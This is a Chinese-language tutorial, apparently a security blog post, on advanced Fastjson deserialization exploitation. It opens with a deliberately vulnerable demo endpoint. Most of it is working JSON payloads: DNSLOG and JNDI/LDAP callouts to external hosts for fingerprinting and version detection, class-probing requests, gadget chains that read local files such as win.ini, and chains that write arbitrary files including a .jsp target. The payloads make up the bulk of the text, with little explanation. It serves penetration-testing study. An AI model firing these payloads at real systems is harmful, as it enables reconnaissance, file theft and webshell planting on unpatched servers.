【两万字原创长文】零基础入门Fastjson系列漏洞(提高篇1)
字数 1889 2025-08-19 12:40:55

Fastjson漏洞利用提高篇(一)全面指南

零、前言与准备工作

0.1 前言

本文是Fastjson漏洞利用的提高篇,主要涵盖Fastjson漏洞利用的进阶技术,包括:

  • 不同JSON库的识别方法
  • Fastjson版本判断技术
  • 服务器环境探测
  • 文件读取技术
  • 文件写入技术

0.2 复现环境准备

使用safe6Sec制作的复现环境:

git clone https://github.com/safe6Sec/ShiroAndFastJson.git

修改IndexController.java文件中的parse函数:

@PostMapping("/json")
@ResponseBody
public JSONObject parse(@RequestBody String data) {
    JSONObject jsonObject = new JSONObject();
    try {
        jsonObject.put("status", 0);
        jsonObject.put("message", String.valueOf(JSON.parse(data)));
    } catch (Exception e) {
        jsonObject.put("status", -1);
        jsonObject.put("error", e.getMessage());
    }
    return jsonObject;
}

一、判断所使用的JSON库

1.1 Fastjson识别方法

1.1.1 DNSLOG判断法

{"@type":"java.net.InetSocketAddress"{"address":,"val":"rtpmognpiy.dgrh3.cn"}}

{{"@type":"java.net.URL","val":"http://qvhkmkgcta.dgrh3.cn"}:"a"}

1.1.2 解析判断法

{"ext":"blue","name":{"$ref":"$.ext"}}

{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"}

1.2 Jackson识别方法

1.2.1 浮点类型精度丢失判断法

{"score": 1.1111111111111111111111111111111111111111111111111111111111111}

返回类似1.1111111111111112说明可能是Jackson

1.2.2 注释符判断法

{"age": 1}/*#W01fh4cker

不报错说明是Jackson

1.2.3 单引号判断法

{"username": 'admin', "password": 'admin'}

报错说明是Jackson

1.3 Gson识别方法

1.3.1 注释符判断法

#\r\n{"score":1.1}

正常返回说明是Gson

1.4 org.json识别方法

{"username": '\r', "password": "admin"}

报错说明是org.json

1.5 hutool.json识别方法

{a:whatever}/*\r\nxxx

返回{"a":"whatever"}说明是hutool.json

二、判断Fastjson版本

2.1 有报错信息返回的情况

2.1.1 JSON.parseObject报错判断

  • 1.1.15-1.1.26: syntax error, expect {, actual EOF
  • 1.1.27-1.2.11: syntax error, expect {, actual EOF, pos 9
  • 1.2.12-1.2.24: type not match
  • 1.2.25-2.0.1: type not match. java.lang.AutoCloseable -> org.example.Main$User
  • 2.0.1-2.0.5.graal/2.0.9-2.0.12: error, offset 35, char
  • 2.0.6-2.0.7: illegal character
  • 2.0.8/2.0.13-2.0.40: 直接显示版本号

2.1.2 JSON.parse报错判断

  • 1.1.15-1.1.26: syntax error, expect {, actual EOF
  • 1.1.27-1.2.32: syntax error, expect {, actual EOF, pos 0
  • 1.2.33-2.0.40: 直接显示版本号

2.2 DNSLOG判断法

2.2.1 1.1.15-1.2.24

{"name":"admin","email":"admin","content":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://aclarecpsj.dgrh3.cn/POC","autoCommit":true}}

2.2.2 1.2.37-1.2.83

{{"@type":"java.net.URL","val":"http://rpdmvyfajp.dgrh3.cn"}:"aaa"}

2.2.3 1.2.9-1.2.47

{"username":{"@type":"java.net.InetAddress","val":"bjmgclhjrs.dgrh3.cn"}, "password":"admin"}

2.2.4 1.2.10-1.2.47

[{"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"},{"@type":"java.io.ByteArrayOutputStream"},{"@type":"java.net.InetSocketAddress"{"address":,"val":"6m2csu.dnslog.cn"}}]

2.3 延迟判断法

2.3.1 浅蓝正则DDOS探测法(1.2.36-1.2.63_noneautotype)

{"regex":{"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaa!"}

2.3.2 JNDI请求延迟探测法

组合拳方式,通过比较不同LDAP地址的响应时间判断版本范围

2.4 关键版本探测

2.4.1 v1.2.47

{"username":{"@type": "java.net.InetSocketAddress"{"address":,"val":"rylxkswlfg.dgrh3.cn"}}}

2.4.2 v1.2.68

[{"@type": "java.lang.AutoCloseable","@type": "java.io.ByteArrayOutputStream"},{"@type": "java.io.ByteArrayOutputStream"},{"@type": "java.net.InetSocketAddress"{"address":,"val": "mwhajokbdd.dgrh3.cn"}}]

2.4.3 v1.2.80与v1.2.83

[{"@type": "java.lang.Exception","@type": "com.alibaba.fastjson.JSONException","x": {"@type": "java.net.InetSocketAddress"{"address":,"val": "xfjdbd.dnslog.cn"}}},{"@type": "java.lang.Exception","@type": "com.alibaba.fastjson.JSONException","message": {"@type": "java.net.InetSocketAddress"{"address":,"val": "uawcowbohf.dgrh3.cn"}}}]

三、探测服务器环境

3.1 空值判断法

{"z": {"@type": "java.lang.Class","val": "org.springframework.web.bind.annotation.RequestMapping"}}

存在返回类实例,不存在返回null

3.2 DNSLOG回显判断法

{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale","language":{"@type":"java.lang.String"{1:{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}},"country":"aaa.qmc8xj4s.dnslog.pw"}}}

3.3 报错回显判断法

{"x": {"@type": "java.lang.Character"{"@type": "java.lang.Class","val": "com.mysql.jdbc.Driver"}}

四、文件读取技术

4.1 Fastjson 1.2.73-1.2.80

4.1.1 aspectjtools利用链

4.1.1.1 直接回显法
[{"@type":"java.lang.Exception","@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"},{"@type":"java.lang.Class","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException","newAnnotationProcessorUnits":[{}]}}},{"username":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"c:/windows/win.ini"},"password":"admin"}]
4.1.1.2 报错回显法
[{"@type":"java.lang.Exception","@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"},{"@type":"java.lang.Class","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException","newAnnotationProcessorUnits":[{}]}}},{"username":{"@type":"java.lang.Character"{"c":{"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit","@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"c:/windows/win.ini"}},"password":"admin"}]

4.2 Fastjson 1.2.37-1.2.68

4.2.1 blackhat2021-getBom()原版

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///C:/Windows/win.ini"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          59
        ]
      }
    ]
  },
  "address" : {"$ref":"$.abc.BOM"}
}

4.2.2 浅蓝师傅改版(适配所有场景)

{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///C:/Users/whoami/Desktop/testtest.txt"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[98]}]},"address":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String"{"$ref":"$.abc.BOM[0]"},"start":0,"end":0},"xxx":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"http://testhhh.okdplvnqdu.dgrh3.cn/"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[1]}]},"zzz":{"$ref":"$.xxx.BOM[0]"}

五、文件写入技术

5.1 commons-io 2.x (1.2.37-1.2.68)

5.1.1 最初公开的payload(仅限CentOS)

{
    "x":{
        "@type":"java.lang.AutoCloseable",
        "@type":"sun.rmi.server.MarshalOutputStream",
        "out":{
            "@type":"java.util.zip.InflaterOutputStream",
            "out":{
                "@type":"java.io.FileOutputStream",
                "file":"C:/Users/whoami/Desktop/testtesttest.txt",
                "append":false
            },
            "infl":{
                "input":"SGVsbG8sIFcwMWZoNGNrZXIh"
            },
            "bufLen":1048576
        },
        "protocolVersion":1
    }
}

5.1.2 commons-io 2.0-2.6版本

{"x":{"@type":"com.alibaba.fastjson.JSONObject","input":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String""W01fh4ckeraaaaaa..."},"charsetName":"UTF-8","bufferSize":1024},"branch":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.output.WriterOutputStream","writer":{"@type":"org.apache.commons.io.output.FileWriterWithEncoding","file":"W01fh4cker.txt","encoding":"UTF-8","append":false},"charsetName":"UTF-8","bufferSize":1024,"writeImmediately":true},"trigger":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger2":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger3":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"}}}

5.2 ognl+commons-io 2.x (1.2.73-1.2.80)

5.2.1 ognl+commons-io 2.0-2.6版本

{"su14":{"@type":"java.lang.Exception","@type":"ognl.OgnlException"},"su15":{"@type":"java.lang.Class","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"ognl.OgnlException","_evaluation":""}},"su16":{"@type":"ognl.Evaluation","node":{"@type":"ognl.ASTMethod","p":{"@type":"ognl.OgnlParser","stream":{"@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String""W01fh4ckeraaaaaa..."},"charsetName":"UTF-8","bufferSize":1024},"branch":{"@type":"org.apache.commons.io.output.WriterOutputStream","writer":{"@type":"org.apache.commons.io.output.FileWriterWithEncoding","file":"W01fh4cker.jsp","encoding":"UTF-8","append":false},"charsetName":"UTF-8","bufferSize":1024,"writeImmediately":true},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[36,82]}]}}}},"su17":{"@type":"ognl.Evaluation","node":{"@type":"ognl.ASTMethod","p":{"@type":"ognl.OgnlParser","stream":{"@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.su16.node.p.stream.delegate.reader.is.input"},"branch":{"$ref":"$.su16.node.p.stream.delegate.reader.is.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[36,82]}]}}}},"su18":{"@type":"ognl.Evaluation","node":{"@type":"ognl.ASTMethod","p":{"@type":"ognl.OgnlParser","stream":{"@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.su16.node.p.stream.delegate.reader.is.input"},"branch":{"$ref":"$.su16.node.p.stream.delegate.reader.is.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[36,82]}]}}}},"su19":{"@type":"ognl.Evaluation","node":{"@type":"ognl.ASTMethod","p":{"@type":"ognl.OgnlParser","stream":{"@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.su16.node.p.stream.delegate.reader.is.input"},"branch":{"$ref":"$.su16.node.p.stream.delegate.reader.is.branch"},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[36,82]}]}}}},}

六、总结与致谢

本文详细介绍了Fastjson漏洞利用的进阶技术,包括版本判断、环境探测、文件读写等关键技术点。在实际渗透测试中,需要根据目标环境选择合适的利用方式。

特别感谢以下研究者和他们的研究成果:

  • safe6Sec的复现环境
  • 浅蓝、tyskill等师傅的技术分享
  • Blackhat 2021相关研究成果
  • 众多安全研究者的贡献
Fastjson漏洞利用提高篇(一)全面指南 零、前言与准备工作 0.1 前言 本文是Fastjson漏洞利用的提高篇,主要涵盖Fastjson漏洞利用的进阶技术,包括: 不同JSON库的识别方法 Fastjson版本判断技术 服务器环境探测 文件读取技术 文件写入技术 0.2 复现环境准备 使用safe6Sec制作的复现环境: 修改 IndexController.java 文件中的parse函数: 一、判断所使用的JSON库 1.1 Fastjson识别方法 1.1.1 DNSLOG判断法 或 1.1.2 解析判断法 或 1.2 Jackson识别方法 1.2.1 浮点类型精度丢失判断法 返回类似 1.1111111111111112 说明可能是Jackson 1.2.2 注释符判断法 不报错说明是Jackson 1.2.3 单引号判断法 报错说明是Jackson 1.3 Gson识别方法 1.3.1 注释符判断法 正常返回说明是Gson 1.4 org.json识别方法 报错说明是org.json 1.5 hutool.json识别方法 返回 {"a":"whatever"} 说明是hutool.json 二、判断Fastjson版本 2.1 有报错信息返回的情况 2.1.1 JSON.parseObject报错判断 1.1.15-1.1.26: syntax error, expect {, actual EOF 1.1.27-1.2.11: syntax error, expect {, actual EOF, pos 9 1.2.12-1.2.24: type not match 1.2.25-2.0.1: type not match. java.lang.AutoCloseable -> org.example.Main$User 2.0.1-2.0.5.graal/2.0.9-2.0.12: error, offset 35, char 2.0.6-2.0.7: illegal character 2.0.8/2.0.13-2.0.40: 直接显示版本号 2.1.2 JSON.parse报错判断 1.1.15-1.1.26: syntax error, expect {, actual EOF 1.1.27-1.2.32: syntax error, expect {, actual EOF, pos 0 1.2.33-2.0.40: 直接显示版本号 2.2 DNSLOG判断法 2.2.1 1.1.15-1.2.24 2.2.2 1.2.37-1.2.83 2.2.3 1.2.9-1.2.47 2.2.4 1.2.10-1.2.47 2.3 延迟判断法 2.3.1 浅蓝正则DDOS探测法(1.2.36-1.2.63_ noneautotype) 2.3.2 JNDI请求延迟探测法 组合拳方式,通过比较不同LDAP地址的响应时间判断版本范围 2.4 关键版本探测 2.4.1 v1.2.47 2.4.2 v1.2.68 2.4.3 v1.2.80与v1.2.83 三、探测服务器环境 3.1 空值判断法 存在返回类实例,不存在返回null 3.2 DNSLOG回显判断法 3.3 报错回显判断法 四、文件读取技术 4.1 Fastjson 1.2.73-1.2.80 4.1.1 aspectjtools利用链 4.1.1.1 直接回显法 4.1.1.2 报错回显法 4.2 Fastjson 1.2.37-1.2.68 4.2.1 blackhat2021-getBom()原版 4.2.2 浅蓝师傅改版(适配所有场景) 五、文件写入技术 5.1 commons-io 2.x (1.2.37-1.2.68) 5.1.1 最初公开的payload(仅限CentOS) 5.1.2 commons-io 2.0-2.6版本 5.2 ognl+commons-io 2.x (1.2.73-1.2.80) 5.2.1 ognl+commons-io 2.0-2.6版本 六、总结与致谢 本文详细介绍了Fastjson漏洞利用的进阶技术,包括版本判断、环境探测、文件读写等关键技术点。在实际渗透测试中,需要根据目标环境选择合适的利用方式。 特别感谢以下研究者和他们的研究成果: safe6Sec的复现环境 浅蓝、tyskill等师傅的技术分享 Blackhat 2021相关研究成果 众多安全研究者的贡献